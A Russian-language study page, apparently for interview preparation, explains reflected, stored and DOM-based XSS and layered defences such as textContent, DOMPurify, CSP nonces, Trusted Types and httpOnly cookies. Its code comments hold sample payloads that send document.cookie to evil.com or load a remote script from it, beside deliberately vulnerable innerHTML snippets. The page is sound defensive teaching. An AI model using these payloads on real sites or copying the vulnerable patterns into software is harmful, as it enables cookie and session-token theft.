Перейти к содержимому

XSS (Cross-Site Scripting)

XSS — инъекция вредоносного скрипта в страницу жертвы через непроверенный пользовательский ввод; входит в OWASP Top 10 и остаётся самой распространённой frontend-уязвимостью; на собеседованиях проверяют знание трёх типов (Stored, Reflected, DOM-based) и умение выстроить многоуровневую защиту.

// ATTACK: Reflected XSS — непроверенный ввод напрямую в innerHTML
// URL: /search?q=<script>fetch('//evil.com?c='+btoa(document.cookie))</script>
const params = new URLSearchParams(location.search);
const query = params.get('q');
// ❌ Уязвимо: вставляем сырой HTML без экранирования
document.getElementById('results').innerHTML = `Результаты для: ${query}`;
// Если query = <img src=x onerror="fetch('//evil.com?c='+btoa(document.cookie))">
// → браузер выполнит JS в контексте нашего origin → кража cookies/токенов/DOM
// ATTACK: Stored XSS — вредоносный контент сохранён в БД, рендерится всем
// Комментарий в БД: <script>document.body.appendChild(Object.assign(
// document.createElement('script'), {src:'//evil.com/logger.js'}
// ))</script>
// При рендеринге всем пользователям — браузер выполнит инъектированный скрипт.
// ATTACK: DOM-based XSS — уязвимость в клиентском коде
const hash = location.hash.slice(1); // #<img src=x onerror=...>
document.querySelector('.msg').innerHTML = decodeURIComponent(hash); // ❌
// MITIGATION: textContent + DOMPurify для rich text
// ✅ Для plain text — всегда textContent
document.getElementById('results').textContent = `Результаты для: ${query}`;
document.querySelector('.msg').textContent = decodeURIComponent(hash);
// ✅ Если нужен HTML (Rich Text Editor, Markdown output) — DOMPurify
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userGeneratedHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'br'],
ALLOWED_ATTR: ['href', 'title', 'target'],
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,
FORBID_ATTR: ['style', 'onerror', 'onclick'],
});
element.innerHTML = clean; // безопасно после очистки
// ✅ React / Vue: JSX и шаблоны экранируют HTML автоматически
// <div>{userInput}</div> → безопасно (textContent)
// <div dangerouslySetInnerHTML={{ __html: html }} → ОПАСНО, только после DOMPurify
// Хранение токенов: localStorage vs httpOnly cookie
// ❌ localStorage.setItem('token', jwt)
// → любой XSS-скрипт читает localStorage.getItem('token') → кража токена
// ✅ httpOnly cookie (установлен сервером)
// → document.cookie не содержит httpOnly-cookie → JS-скрипт не может украсть
// CSP как backstop (сервер):
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'
// Браузер заблокирует любые inline-скрипты без nonce, даже при успешной инъекции.
// Trusted Types API (Chrome): принудительное использование безопасных API
// Content-Security-Policy: require-trusted-types-for 'script'
// Это делает .innerHTML = string синтаксической ошибкой в runtime — нужен TrustedHTML.
// input validation (Defence in Depth): серверная валидация ОБЯЗАТЕЛЬНА
// Express / Zod
import { z } from 'zod';
const CommentSchema = z.object({
text: z.string().max(2000).trim(),
// никогда не принимать HTML с клиента без sanitization на сервере
});

Итог: XSS закрывается трёхуровневой защитой: textContent вместо innerHTML, DOMPurify для rich text, CSP с nonce как последний рубеж.